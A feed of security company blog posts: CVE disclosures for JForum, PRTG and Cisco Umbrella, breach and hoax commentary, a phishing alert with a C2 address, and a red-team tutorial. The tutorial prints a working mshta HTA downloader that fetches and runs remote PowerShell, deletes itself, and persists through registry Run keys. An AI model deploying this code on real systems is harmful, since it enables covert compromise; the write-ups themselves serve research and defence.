Category: blog

Introduction
Malicious actors have multiple ways to share data they have stolen from websites or services. Some might post to popular forums to gain notoriety while others might post anonymously to paste sites like PasteBin. Combing through all the pastes being posted is beyond the ability of humans, so I’ve created a tool that helps users to find interesting data on PasteBin in real-time.

How Much Data is There, and Why is it Hard to Search?
On average, there are 100 files uploaded to PasteBin every minute which makes combing through all that data very difficult. It gets even worse when a user is trying to find specific information. PasteBin doesn’t organize or index data by content, just by titles. Most users on the site post anonymously and without a title, so many of the pastes available are just called “Untitled”.

A tool searching specifically for usernames and passwords would have to scrape every paste, apply some form of matching, and then output the paste ID for manual human review later. This creates a whole host of other issues. PasteBin periodically removes pastes that could potentially contain sensitive information or have been reported by the community. By the time a user gets around to manually reviewing the content of the paste, it may have been removed. In an ideal world, the content of the paste is saved and indexed for retrieval later.

Tools to search paste content and save pastes already exist, but many of them are projects that have been abandoned, are closed source, or just don’t work very well. The most popular one was Dumpmon, which went inactive in October of 2018. Dumpmon was a Twitter bot built by Jordan Wright, which monitored 3 common paste sites (PasteBin, Pastie, and Slexy) for potential data leaks. Other tools include PasteBinLeaks, open-source and deactivated in 2011, and PasteBinDorks, which is closed source and inactive as of 2014.

What is PasteBin_Scraper?
After Dumpmon ceased operation, there didn’t appear to be any other public tools that monitored PasteBin in real-time for data leakage. It was created as an open-source project, so I downloaded the source code from GitHub and tried to get it working again. It took a few weeks, but I was able to get my own version of the tool working with some significant changes made, outlined here:

• Updated to use Python3
• Removed Slexy/Pastie compatibility since those sites no longer exist.
• Removed all Twitter components
• Made logging more verbose for debugging
• Now uses PasteBin API so your IP won’t be blacklisted
• Removed redundant code blocks
• Changed DB from mongodb to MySQL.

How Does PasteBin_Scraper Work?
Every 60 seconds, the tool queries the PasteBin API for the latest 100 pastes. It contains a reference paste ID so it isn’t scanning pastes multiple times and wasting processor cycles. The paste ID is then used to download the full paste text and searched using a list of regular expressions. These attempts to identify email addresses, hashed passwords, Cisco device configuration files, and other such data. If the paste has information that is considered interesting, the paste information (author, paste ID, interesting content type) is saved into the database and a line is written to the log file that identifies the paste ID and what kind of data it contains.

Features to be Added
As with any project, there is always more that can be done. We have compiled a list of features that I will work on adding in my free time. These features include:

• Splitting found emails and password combinations and saving them separately
• Creating a script to automate database and table creation
• Add support for multiple hash types
• Some form of statistics tracking or a daily email?

Contributions
I have some experience in Python but I don’t consider myself a developer. I may not have used the best practices or efficient code, but it works! I welcome any contribution to help me create new features or make the tool work more efficiently.

by Moe Janmohammad | TEAMARES, CyberOne
March 15, 2019

Background
While conducting a penetration test for a customer, I encountered an unused developer forum using JForum version 2.1.8 and started looking for vulnerabilities within the application.

Version Tested: 2.1.8

CVE Number: CVE-2019-7550

Security Advisories: None

Issue
When creating a new user within the application, the browser sends a GET request to the server to check if a username is taken. This process is done as soon as the user exits the username field, not when the form is submitted.

For example, to see if a user with the name “admin” exists, the browser will send a GET request that looks like this:

https://[REDACTED]/register/check/username?username=admin

For a username that already exists in the forum, the server’s response is:

HTTP/1.1 200 OK
[SNIPPED]
Set-Cookie: jforum-secure-sso=””; Path=/
view sourceprint?
Connection: close<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “<a href=”http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</a>”>

<div id=”lightbox”><a title=”Close” class=”top-close” href=”#”></a><!– == CMS MainContent (BEGIN) == –><div class=”MainContent”>The name admin is already in use, please choose something else</div><!– == CMS MainContent (END) == –></div>

For a user that doesn’t already exist, like “TEAMARES”:

https://[REDACTED]/register/check/username?username=TEAMARES

The response doesn’t contain any failure information:

HTTP/1.1 200 OK
[SNIPPED]
Set-Cookie: jforum-secure-sso=””; Path=/
Connection: close<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “<a href=”http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</a>”>

<div id=”lightbox”><a title=”Close” class=”top-close” href=”#”></a><!– == CMS MainContent (BEGIN) == –><div class=”MainContent”>0</div><!– == CMS MainContent (END) == –></div>

The requests also contain a session ID and a string of numbers that appears to be a timestamp. I removed both of those and didn’t receive any errors, so I proceeded to the next step of an attack.

A remote, unauthenticated attacker can automate sending many requests to find usernames that already exist. I used Burp Suite Pro Intruder to launch a similar attack to enumerate usernames on the forum within the customer environment.

If we sort the responses by length, we can find usernames that already exist in the forum. We sort by length because the responses saying a username is already taken is noticeably longer than the response for a unique username.

The next step of an attack would be to see if the existing usernames have been reused from other sites that have password lists available. Since this developer forum wasn’t in use, the only accounts that existed were the admin accounts and a test account I had created.

Other Information

JForum is a forum application that is no longer being maintained by the developer. The source code was uploaded to GitHub and the developer stated that he will not apply fixes or develop new features. Since the repository was no longer being updated and the application is over 10 years old, I decided to forego the standard 90-day release embargo for this CVE.

Timeline
2018-12-17 – Vulnerability Discovered
2019-02-05 – Vendor Disclosure
2019-02-06 – CVE Created

by Moez Janmohammad | TEAMARES
February 8, 2019

Background

In my previous life, I spent a lot of time analyzing malware and figuring out how it worked in order to defend against it. One trend that has increased across the industry is the use of fileless malware and specifically mshta.exe as a method of infection. Now that I’m on offense, I wanted to take some time to flesh out how it could be used in red teaming and adversarial simulation.

Mshta.exe is a signed Microsoft application that runs Microsoft HTML Applications (HTA) files. These are HTML files that execute JavaScript or VBScript outside of the browser, with the full permission of the executing user. Because it is from Microsoft mshta is normally whitelisted and will allow us to execute code under the mshta process.

Infection

HTA files will run automatically if a user double clicks on them, because of this HTA files are excellent for Phishing, Malvertising, or Waterhole attacks where the user will click on the file and infect themselves. Writing our own malicious HTA file is super simple and with just a few lines of code, we can use mshta.exe as a downloader or stager for any malicious code that we could want.

To start with we want our basic HTML tags and then we add the HTA tag. This tag allows us to specify our app name as well as set all the visibility settings to no so that the victim won’t notice that the HTA file is running.

<!– wp:paragraph –>
<p><code><!DOCTYPE html><br><html><br><head><br><HTA:APPLICATION ID=”CS”<br>APPLICATIONNAME=”Downloader”<br>WINDOWSTATE=”minimize”<br>MAXIMIZEBUTTON=”no”<br>MINIMIZEBUTTON=”no”<br>CAPTION=”no”<br>SHOWINTASKBAR=”no”></code></p>
<!– /wp:paragraph –>

Once we have the HTA tag set we will write our script to download and execute some malicious PowerShell. In order to do this, we will take advantage of ActiveX and Wscript and pass the command that we want to run in memory along with the 0 flag which will keep anything from popping up on the victim’s machine.

<script>
//We will use Wscript.shell in order to launch PowerShell
a = new ActiveXObject(‘Wscript.Shell’);
//Our command to execute
cmd = “powershell -windowstyle hidden -ep Bypass -nop -noexit -c ((New-Object
Net.WebClient).DownloadString(‘http://IP/script.ps1’))”;
//Run the command, 0 is needed so that no PowerShell window will appear
a.Run(cmd,0);

Now that we have our script executing in memory, we need to clean up the HTA file. We can do this with ActiveX again by getting the file location, changing it away from an encoded uri and then removing file:/// from the front of it. We then close the window which closes mshta.exe leaving PowerShell running in the background with our downloaded code executing in memory.

<!– wp:paragraph –>
<p><code>//We use this in order to get erase the HTA file after it has executed<br>b = new ActiveXObject(“Scripting.FileSystemObject”);<br>//Get filename and edit it so that windows can read it properly<br>filename = window.location.href;<br>filename = decodeURI(filename);<br>filename = filename.slice(8);<br>//Get a handle on the file<br>c = b.GetFile(filename);<br>//Delete it<br>c.Delete();<br>//Close the MSHTA window<br>window.close();<br></script><br></head><br><body><br></body><br></html></code></p>
<!– /wp:paragraph –>

Persistence

Once we get on a victim’s machine, we want to make sure that we do not lose that hard-earned access, but we also want to make sure that we leave as little trace as possible for their blue team to pick up on. In order to do this, we don’t want to put anything directly onto the disk and want to keep everything running in memory.

One way this can be completed is with registry keys. Using PowerShell’s Set-ItemProperty we can put more PowerShell script or even EXEs into any registry key that we want, in this case, I download another PowerShell script and then create a Reg Key and put it in the (Default) value.

#Download script to be kept in the reg key
$dl = (New-Object Net.WebClient).DownloadString(‘http://IP/script.ps1’)
#Creates and sets the default value to our downloaded script
New-Item -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Value $dl

Once it’s in the registry we can easily pull the data back out of it to execute in memory with Get-ItemProperty and IEX.

<!– wp:paragraph –>
<p><code># Get the stored payload<br>$value = Get-ItemProperty -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Name<br>”(Default)”<br>#Execute it<br>IEX ($value.”(Default)”)</code></p>
<!– /wp:paragraph –>

We then can put this script right into the
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun reg key and it will execute
when the user logs in, pulling our other malicious files, in the registry, and executing them in memory.

Detection

Currently detecting this can be difficult for traditional solutions as no malware touches the disk to be scanned by AV. In order to combat this and other scripting attacks, Microsoft released Anti-Malware Scan Interface or AMSI on Windows. AMSI’s goal is to catch bad scripts running in memory and works with Windows Defender and a few other AVs. Although AMSI is pretty good at detecting malicious scripts it can still be bypassed so you should monitor mshta use, especially when it executes any other applications such as PowerShell. Alerting on these kinds of actions can help you spot an infection as soon as it happens and start to remediate the infected machines.

Summary

PowerShell is an amazing tool that allows attackers to do anything they could want on a Windows system and leave little to no trace while they do it. Because of this any signed processes that can be used to run PowerShell should be watched closely because they can and will be used to compromise users’ machines.

References

Intro to HTAs: https://docs.microsoft.com/en-us/previous-versions//ms536496(v=vs.85)
AMSI Bypass: https://twitter.com/mattifestation/status/735261176745988096?lang=en

From Jonathan Swift’s fake almanac in 1708 to the modern Dihydrogen monoxide joke, hoaxes have been around for as long as humans have enjoyed deceiving each other for fun. The ease of communication via technology has made hoaxes and scams even more prevalent, evolving from word-of-mouth and chain email to Instagram, WhatsApp, and Facebook. Users are constantly falling for these forwarded posts and they’ve taken a turn for the malicious.

Facebook was one of the first social media platforms to have hoaxes and misinformation spread, with the most popular one stating that Facebook’s new algorithm would only allow you to see 25 of your friends’ posts in your news feed. The text reads:

“How to avoid hearing from the same 25 FB friends and nobody else: Here is a post explaining why we don’t see all the posts from our friends….

Newsfeed recently shows only posts from the same few people, about 25, repeatedly the same, because Facebook has a new algorithm.

Their system chooses the people to read Your post. However, I would like to choose for myself, Therefore, I ask you a favor: if you read this message leave me a quick comment, a “hello”, a sticker, whatever you want, so you will appear in my news feed.

Don’t just “Like”, Facebook requires a “Comment”. Even one word! Thanks!!!

Otherwise, Facebook chooses who to show me and instead I don’t need Facebook to choose my friends!

Do not hesitate to copy and paste on your wall so you can have more interaction with all your contacts and bypass the system. That’s why we don’t see all the posts from our friends!”

Facebook has repeatedly stated that these kinds of copy/paste posts are fake and even asserted that their constantly updated algorithms will increase interactions with friends, but users will keep falling for these kinds of posts. A malicious actor could potentially modify this kind of post with a link leading to a site that gathers usernames/passwords or installs malicious software and claims it will help to see all of their friends posts.

WhatsApp is the most used messaging application, even ahead of text messaging, in the world. Hoaxes, scams, and fake information spread like wildfire through the WhatsApp service. In India, mobs of angry people killed over 20 people in connection to messages being forwarded on WhatsApp falsely linking the victims to child abductions. There have also been malicious links being spread for a fake premium WhatsApp service called “WhatsApp Gold” that tricked users into downloading a modified version of the Android application which stole user information and installed additional malware.

Instagram has had quite a few hoaxes that large numbers of their users have fallen for. In 2017, an account claiming to be selling deeply discounted Ray Bans sunglasses said users could only get the promotion after clicking a link to connect their Instagram account to their storefront. The link was actually a phishing page designed to steal the user’s Instagram credentials and continue spreading itself via direct messages and public posts.

In December of 2018, users were tricked into sharing a post from an account claiming to recruit Lululemon ambassadors and tagging the profile. Lululemon has tweeted that the account was not related to their official page. The page, @lulurecruitment, has since been removed from Instagram, but not before hundreds of thousands of hopeful users had posted and tagged the account. At the time of its removal, the account had over 500,000 followers and only one post.

It is unclear what the goal behind the campaign was. There were no links being spread, no request for additional information, and no contact information besides a Gmail address. I think this was to start gathering information of “known-gullible” users to target in upcoming ad campaigns for a storefront with free or discounted Lululemon gear designed to steal payment information or gather usernames/passwords to spray against other services.

How do you protect yourself from these kinds of campaigns? Hoaxes and scams rely heavily on users sharing the information to increase the attack surface. The best way to protect yourself and others is to not participate in their spread. It starts by using common sense and asking yourself if the offer sounds too good to be true. I’ve had success with uncovering scams just by googling the account name or offer and the word “scam”. If you have friends that are sharing these, intentionally or if they’ve been breached, let them know immediately!

In an era of fake news and constant misinformation, Facebook/Instagram/WhatsApp hoaxes have become a prime vector for malicious actors to take information from users who are willingly handing it over in the hopes of gaining goods or services in return. Gone are the days of the Nigerian Prince emails, welcome to the new age of social engineering.

by Moez Janmohammad | Junior Adversarial Engineer, CyberOne
January 29, 2019

Just over a month ago, Marriott International, one of the world’s largest hotel chains, announced that there was unauthorized access to the database, which contained guest information relating to reservations at Starwood properties on or before September 10, 2018. Among the hotels under the Starwood brand are the W Hotels, St. Regis, Sheraton, Westin, and Design Hotels and Resorts, as well as all Starwood-branded timeshare properties. Even with the reduction in the number of affected guests, the Marriott breach remains one of the largest data breaches to date – more than double that of Equifax, which exposed the personal data of 147.7 million Americans.

What exactly was stolen?
The database gave hackers access to the names, mailing addresses, phone numbers, email addresses, passport numbers, dates of birth, gender, arrival and departure information, loyalty account information, reservation dates, and communication preferences of nearly 330 million guests.

Marriott says the number of consumers swept up in a breach of its data is fewer than the 500 million initially estimated, and in recent reports, admitted its Starwood hotel unit had failed to encrypt the passport numbers.

The company announced that approximately 5.25 million unencrypted passport numbers were stolen in the breach, while another 20 million encrypted passport numbers were acquired. They released a statement saying: “There is no evidence that the unauthorized third party accessed the master encryption key needed to decrypt the encrypted passport numbers”

For many of these guests, the stolen information also included payment card numbers and expiry dates. Although the hotel chain attempted to safeguard this information using the Advanced Encryption Standard (AES-18) method, Marriott has not yet been able to rule out the possibility that both components needed for decryption were not also stolen.

With the investigative reports released Friday afternoon, we now know that there were about 8.6 million encrypted credit card numbers stolen in the breach. Marriott said it’s still investigating how many stolen payment card numbers were not encrypted.

What should I do?
Monitoring your transaction history is important, but especially so if you made a reservation with a Starwood hotel on or before September 10th, 2018.

Marriott began sending emails on a rolling basis Wednesday, November 30th to affected guests with email addresses on file; however, they cautioned customers to stay vigilant as malicious actors may try to pose as Marriott. The hotel cautioned affected customers to only accept emails from the official email address listed on their website.

The hotel chain also established a dedicated website with an FAQ section and a call center to answer any questions. The company has also offered to pay for new passports if affected guests can prove they were victims of fraud.

A fraud monitoring service is being provided by Marriott via WebWatchers free of cost to all affected guests for one year. The service monitors all sites where personal information is shared and guests are alerted if their data is found. Individuals can enroll via Marriott’s website.

Who’s behind the Marriott breach?

That remains unclear, though Reuters, The Washington Post and The New York Times reported that investigators believe China is responsible.

Lawmakers have called for companies to improve their cybersecurity, and Sen. Ron Wyden (D-OR) released a draft of the Consumer Data Protection Act, which would create new protections for consumer information and strict punishments for those found to be abusing user data. The proposed bill would send senior executives to jail for 10 to 20 years if they fail to follow the guidelines for data use.

What’s next?
Monitoring banking statements for unauthorized purchases and reviewing all loyalty program activity for suspicious behavior is a good first step. Also, knowing exactly what kind of information was lost in the data breach can help alert you to any activity out of the norm.

Never give out credentials or passwords via phone or email and stay vigilant against phishing attempts, especially in the wake of another data breach. Be sure to change the password on any account that may have been associated with the breach.

If you were one of the Marriott guests whose payment-card number was stolen, contact the bank or organization that issued the card. Explain that your account is at risk of fraud and ask the card issuer to alert you if it detects suspicious activity on your account. The bank will almost certainly cancel the card and issue you a new one.

And finally, contact the major consumer credit-reporting bureaus and ask each to place a fraud alert on your name. This way, if your financial identity has been compromised — for example, by trying to open a credit card account in your name — you’ll know.

Arne Sorenson, Marriott’s President and Chief Executive Officer, said “We deeply regret this incident happened, we fell short of what our guests deserve and what we expect of ourselves.  We are doing everything we can to support our guests, and using lessons learned to be better moving forward.”

by Callie Guenther | CyberSOC Data Scientist
January 9, 2019

On the morning of December 12th, 2018, the CyberOne CYBERSOC began seeing the resurgence of a prolific phishing campaign. This campaign included malware variants such as DRIDEX & URSNIF, both common Banking Trojans used in macro-based attacks. These files are observed hiding with macro-enabled documents or downloaded after the code executes, requesting the host reach out to a C2 domain. While these aren’t new techniques, the malicious files (and their variants) can still be very effective on unprotected devices. Within the existing tool suite the CyberOne CYBERSOC operates on, we’ve seen the detection and remediation of these malicious files, specifically through EDR and NextGen AV Platforms (machine learning algorithms). This is a great time to verify the security controls across your organization and ensure your policies are up to date for both Endpoint Protection Platforms and Exchange/E-Mail. Additionally, user awareness is the most significant defense against phishing and similar attacks. Being transparent with the user base on how these attacks operate and disguise themselves creates vigilance, and grows a culture of security awareness.

CyberOne’s CYBERSOC has seen it across multiple MDR Clients within the same time-frame, over the last 24hrs.

1. C2 Identifiers:
2. https://www.virustotal.com/#/ip-address/46.29.160.75

2. Malware Observed:
3. URSNIF “3152”
4. DRIDEX “3101”
5. Attributes: Identifiable through Exchange / Proofpoint
6. PowerShell
7. Office VBA Macro
8. Banking Trojan
9. Techniques: Identifiable through EDR and EPP agents locally on the device(s)
10. Emailed Doc
11. Word Requests “Enable Macros”
12. Word Spawn cmd.exe
13. Cmd.exe runs encoded PowerShell with C2 location
14. Device pulls directed file (URSNIF/DRIDEX)

Background:
Recently I’ve seen a decent number of privilege escalations occurring on Windows due to permission issues and using symlinks. The work from Ryan Hanson from Atredis on the Cylance privilege escalation and Windows Standard Collector privilege escalation really inspired me to research more into this issue and potentially find some myself.

After several weeks of researching the usage of symlinks, hardlinks, and junctions on Windows (mostly provided by James Forshaw at Google’s Project Zero), I felt as if I had a basic understanding of the attack vector used. So, the next question was where do I start looking for my own privilege escalation using symlinks?

The answer to that was rather simple. While reviewing some past findings from another researcher, Codewatch, I came across this PRTG Network Monitor tool and was surprised that the web application was running processes as SYSTEM. So the logical next step was to download the tool and see what I could break!

Versions Tested:
18.2.41.1652

CVE Numbers:
CVE-2018-17887

Security Advisories:
None

Issue:
Upon downloading the software, the first thing I did (since my goal was to find issues where symlinks could be leveraged) was to monitor the services running using Procmon.exe. To my surprise, I found several instances where I could use symlinks to gain system-level privileges! What luck, right?

The issue stems from a service named “PRTG Probe Service.” One of the actions taken by this service is to write logs under the notorious C:ProgramData directory.

Side note: it appears that the ProgramData directory gets a lot of vendors in trouble so extra attention should be placed on permissions in that location.

In total, there are four directories written to by the “PRTG Probe Service” as SYSTEM; one of those shown below in Figure 1.

The other directories are:
• C:ProgramDataPaesslerPRTG Network MonitorLogs (Debug)
• C:ProgramDataPaesslerPRTG Network MonitorLogs (Sensors)
• C:ProgramDataPaesslerPRTG Network MonitorLogs (System)
• C:ProgramDataPaesslerPRTG Network MonitorLogs (Web Server)

The issue isn’t actually the symlink, it is the access rights assigned to those files, as seen in Figure 2. For some odd reason, PRTG designed the application to create these log files with absolutely zero permissions assigned!

Because no rights are assigned to those log files, a low-level (non-privileged) user can do the following, which is explained in greater detail in the “Proof of Concept” section:

• Delete all files in “C:ProgramDataPaesslerPRTG Network MonitorLogs*” directories.
• Create a symlink using any of the log files and redirecting them to a new directory. Using RPC we can rename the file along the way (this is done as SYSTEM since the service will be creating the file).

The steps above allowed me to redirect one log file to the “C:Program Files (x86)PRTG Network MonitorNotificationsEXE” directory and rename it to exploit.bat. The batch script created a new user and added that user to the Administrators group.
One thing to note: I didn’t need to create the exploit.bat file to gain escalated privileges. I could have created a DLL where one was missing and conduct DLL hijacking or binary planting. I did it this way as I was interested in seeing how the notifications job worked.
The below proof of concept shows one way of exploiting this issue along with a video showing a different log file being leveraged for exploitation.

Proof of Concept:
The first step in the attack is to remove all files from the “C:ProgramDataPaesslerPRTG Network MonitorLogs*” directory as a low-level user. In Figure 3 example below, I used the “C:ProgramDataPaesslerPRTG Network MonitorLogs (System)” directory.

We then created a symlink from our target directory to a new location as well as using an RPC call to rename the file. In Figure 4 we use the file “PRTG Probe Log (1).log” and moved it to “C:Program Files (x86)PRTG Network MonitorNotificationsEXEexploit.bat”. This allows files within that directory to be executed from the web application through notifications with SYSTEM privileges. We could have moved this file to a location where the program looked for a DLL which did not exist and performed DLL hijacking.

After the symlink was created, we restarted the service. We restarted the service as admin just for ease of testing, however, in the directory “C:ProgramDataPaesslerPRTG Network MonitorLogs (Web Server)” we can create a symlink with that log file and then browse to the web page. The program then attempted to write to the web server log file which is our symlink, as seen in Figure 5.

In Figure 6, we show that the file exploit.bat did not exist prior to exploitation and that files within that directory are not editable by low-level users.

After restarting the service we see that the symlink is followed by the service, and the file exploit.bat is created and the rights for that file make it so any user on the system can edit it, as seen in Figure 7.

As a low level-user, we added malicious code to exploit.bat (as seen in Figure 8) that upon execution, adds a local administrator account.

Figure 9 shows the accounts that exist on the victim machine prior to exploitation.

Finally, due to my curiosity, we created a notification in the Web-GUI (as seen in Figure 10) and used the “execute notification” feature to force the execution of the exploit.bat program.

Upon execution, we can see in Figure 11 that our wonderful user “pwn” was created and added as a local administrator!

We have also added a script to exploit this issue on our GitHub page.

Other Info:
Concerned about the successful privilege escalation, I disclosed the issue in July to the vendor, Paessler, but unfortunately, they did not consider it a security issue (see Figure 12) and to my knowledge, have not informed their clients of the risk. I have validated that a patch was created for this issue and released. However, I am not sure when that patch was released. I am now releasing this information in the public interest, so end-users can take preventative actions.

Figure 12: Email from PRTG

Timeline:
2018-07-08 – Vendor Disclosure.
2018-07-09 – Vendor Responded Claiming No Security Issue.
2018-07-09 – Responded back to the vendor with further details and public info on why it is an issue. Vendor didn’t respond.
2018-07-13 – Emailed vendor to check status. Vendor didn’t respond.
2018-09-20 – Confirmed vendor fixed the security issue. Vendor still hasn’t responded.
2018-10-03 – Public Release.

Discovered by Quentin (Paragonsec) Rhoads-Herrera | TEAMARES
October 3, 2018

CVE Numbers:
CVE-2018-0437 – Cisco Umbrella ERC releases prior to 2.1.118 and Cisco Umbrella
CVE-2018-0438 – Cisco Umbrella ERC releases prior to 2.1.127

Versions Tested:
Umbrella Roaming Client 2.0.168

Security Advisories:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read

Binary Planting:
The Umbrella Roaming Client from Cisco OpenDNS includes a service named Umbrella_RC which is executed as SYSTEM on startup. This service consumes several files within the C:ProgramDataOpenDNS* directory which possesses the user rights shown in Figure 1.

Figure 1: User Rights

According to Microsoft, local users have the ability to write data to the above-referenced directory which, by default, isn’t a security vulnerability. However, what happens if the service requests files that don’t exist within this directory?

Like DLL Hijacking, Binary Planting is a vulnerability in which a malicious user places a binary file containing exploit code in a location where an application or service will execute it. This is exactly what happened in this example.

The service looks for two Windows binaries in a non-standard path, as seen in Figures 2 and 3, prior to finding them in the Windows System directory allowing us to perform a “Binary Planting” exploitation:

• C:ProgramDataOpenDNSERCcmd.exe
• C:ProgramDataOpenDNSERCnetsh.exe

For our example, we are going to generate two executables that would add a user, add that user to the administrator’s group, and then write a file to C:. As shown in Figure 4 we are using a low-level user to perform these actions.

Proof-of-Concept (POC) CODE:

With the above POC code, we compile it using Visual Studio as seen in Figure 5. In this example, I compiled two different binaries that would add user “pwnage1” and “pwnage2”.

Figure 5: Compiling exploit code

Now with the exploit code compiled we need to move it over to the directory C:ProgramDataOpenDNSERC as seen in Figure 6:

Figure 6: Moving our binaries

Now we can either restart our machine or be lazy and restart the service as an admin user;  either way will yield the same result which is an admin user, and a file is written in C: as seen in Figures 7-9:

Figure 7: User from malicious netsh.exe binary

Figure 8: User from malicious cmd.exe binary

Figure 9: Files written in C: from malicious netsh.exe and cmd.exe binaries

MSI Planting:

Following the same trend as the above Binary Planting issue, the OpenDNS application also looks for an MSI for upgrading purposes as seen in Figure 10. However, just like above, this MSI is being searched for in a directory that a local low-level user has write access to, as seen in Figure 11.

Figure 10: MSI Lookup

Figure 11: User writes

In order to exploit this, we are going to use a trial version of the software “Advanced Installer” in order to create an MSI containing malicious code. Within the MSI we are going to create two scheduled tasks that will do the following, as seen in Figure 12:

• Create a local user
• Add that user to the administrator’s group

Figure 12: MSI Containing the scheduled tasks

After generating the MSI, we move it to the directory it is being searched from as seen in Figure 13.

Figure 13: Moving MSI as a low-level user

As earlier, we can either restart the machine or restart the service as admin to prove our point. Either way, the service will find and execute the MSI, write a log file showing the MSI was executed, and delete it.

Once executed the scheduled tasks within the MSI will be created as seen in Figure 14.

Figure 14: Scheduled tasks created

Once these tasks are executed the user, “pwn” (or whatever cool name you give it), will be created and added into the administrator’s group, as seen in Figure 15.

Log file from MSI execution by ERCService.exe:

Timeline:

2018-05-12 – Vendor Disclosure

2018-05-16 – Vendor Confirmed Vulnerabilities

2018-09-05 – Public Release

Credit:

Discovered by Quentin (Paragonsec) Rhoads-Herrera | TEAMARES
September 5, 2018

Security awareness training is broken. Read the news any day of the week and you can find articles talking about breaches, ransomware attacks, and countless records stolen resulting in identity theft victims. Our users are continuing to click suspicious links, open attachments they weren’t expecting, and falling for the call to action. Attackers know that our users are the weakest link in the security chain.

In 2014, Gartner calculated the market space for security awareness training at $1 billion dollars with a double-digit annual growth percentage. Gartner is predicting the market space will be $10 billion sometime between 2024 and 2027. With the rapid increase in security awareness training spend, why are we continuing to see so many breaches? What are we missing ineffective security awareness programs?

1. Executive Buy-in

I recently presented on security awareness at a local trade show and found about 30% of organizations had some type of executive buy-in for their security awareness program. For as many companies that claim to say cybersecurity is a priority, why such a low percentage of support from the C-suite?

Get your executives to promote the security awareness program and encourage all employees to participate. Without the official nod of approval, we find ourselves with limited traction in the organization.

2.  Meaningful Metrics

Metrics and Key Performance Indicators are one of the missing or poorly setup components of a security awareness program. Metrics for security awareness usually come packaged such as:

• How many people took the training?
• How quickly did people complete the training?
• How many people passed/failed the quiz at the end of the training module?

When you were in grade school, you didn’t get a grade on your assignment based on the number of questions completed or if you turned in the piece of paper. You were graded based on the number of questions answered correctly! Your grade was based on the output of your learning, not the input. Too many times to we see security awareness programs set up to measure the inputs and not the resultant output behavior. So, what’s an example of an output metric?

• Number of reporting phishing messages
• Increase/decrease in the number of security incidents
• Decrease in security incidents by poorly performing individuals/departments after completing training
• Incident avoidance rate

With the incident avoidance metric, take the estimated cost for downtime and convert it to an hourly rate. The hourly rate should be multiplied by the average number of hours of downtime for an individual or department during a cybersecurity incident. Track the number of cybersecurity incidents your organization responds to on a monthly and annual basis. Once the incident avoidance rate exceeds your annual spend on security awareness training, you’ve just offset the cost of your training program! This is an excellent way of quantifying the effectiveness of your security awareness program.

Step 1: Create metrics

Step 2: ???

Step 3: Profit!

3.  Active Learning

Make it fun. Make it engaging. Make it memorable. The worst type of training is a boring PowerPoint with narration. Edgar Dale, an American educator who developed the Cone of Experience, tells us that only 10-30% of what we see and hear, also known as passive learning, is actually remembered. 70-90% of your security awareness spend is wasted with passive learning techniques!

When we engage active learning techniques, like using quizzes during training, phishing simulations, tabletop exercises, or having employees present about their security awareness experiences during a company lunch and learn, the percentage of recall jumps to 70-90%! An amazing increase in effectiveness with just a small change.

4.  Distributed Practice

A 1978 study, “The Influence of Length and Frequency of Training Sessions on the Rate of Learning to Type”, showed that postal workers were able to learn how to more effectively use a new typewriter system faster when the practice was spaced instead of when a longer instruction session was given. We can exploit this method of learning by giving shorter periods of security awareness training spread throughout the year. In today’s age of constant interruptions from push notifications, emails, phone calls, and your boss stopping by the cubicle to see how things are going, it’s hard to dedicate an extended period of time to anything. Breaking training into 15-30 minute easily understandable topics is a quick win to get training completed.

With distributed practice, we also need to space our phishing simulations. Setup a schedule with intervals randomized from every 3 to 7 weeks. With a predictable schedule, users are on the lookout for a phishing campaign. Using the same template, or a limited group of templates, results in the prairie dog effect. Once a single user spots the phishing test, they notify their friends and coworkers what to be on the lookout for skewing metrics for the test.

5.  Don’t Focus on Just the Phish

While phishing is the most prominent and publicized means of attacking the user, other avenues are gaining in popularity and effectiveness. USB Drops, Voice phishing (Vishing), SMS Phishing (SMShing), and physically accessing a location are additional ways for an attacker to load malware, get a user to give up their password, or find one written on a sticky note under the keyboard (or taped to the side of the monitor). Physical security is often left out of the curriculum, and goes untested by security groups, as our penetration testers have strolled through hallways unchallenged.

Ensure user awareness programs educate them on the dangers of devices founds on the ground and enable them to challenge unknown callers asking for sensitive information or unfamiliar employees without a badge or escort. Many user awareness products include pieces for testing a user’s susceptibility to dropped USB sticks, but never underestimate the insight gained by calling the helpdesk or having a friend try to walk in and grab a seat at an unoccupied desk. (See #3 — This is the best active learning technique!)

In closing, setup meaningful metrics tracking the output of the security awareness program. Implement changes and track their effectiveness. Engage your users with more meaningful content and active learning techniques and watch the increase in the effectiveness of your security awareness program.

by Brendan Dalpe | Senior Security Consultant
August 15, 2018

Exploits for network devices including routers, switches, and firewalls have been around for as long as networking has been a thing. It seems like every week a researcher discloses a new vulnerability or publishes proof of concept (PoC) code online for these types of devices, and that is exactly what is happening in this article. Today, we walk through the discovery of an unauthenticated command injection vulnerability discovered by myself and the TEAMARES penetration testing team during a recent engagement.

We began our reconnaissance by probing external IPs and we quickly stumbled upon an NSX SD-WAN by VeloCloud that was quite interesting. The device required no authentication to access the web UI and disclosed sensitive information such as internal IP addresses. Diving further into the device we found that it has a nice diagnostics functionality that allows users to troubleshoot network connectivity and retrieve other metrics directly from the device. Naturally, the team decided to test the device to see if it could be exploited as an initial entry point to pivot into the organization’s internal network from the WAN.

After identifying a potential pivot point, we start by researching the device to see if any vulnerabilities have been announced by the vendor or if anyone has published an exploit/PoC code online. The device being targeted was updated to the latest version (3.1.1), which patched the existing vulnerabilities announced by VMware. No PoC code or exploits existed for version 3.1.1 yet, so we set out to find a new vulnerability in the device and create an exploit that would allow us to breach our target.

Redirecting our attention back to the previously mentioned diagnostic functions, we first targeted the Traceroute tool, since the input field would accept either an IP address or a hostname, with the thought that since the field would accept both, it might be easier to break out of due to less strict sanitization of user input.

Figure 1 – Screenshot of the Traceroute Diagnostic Function

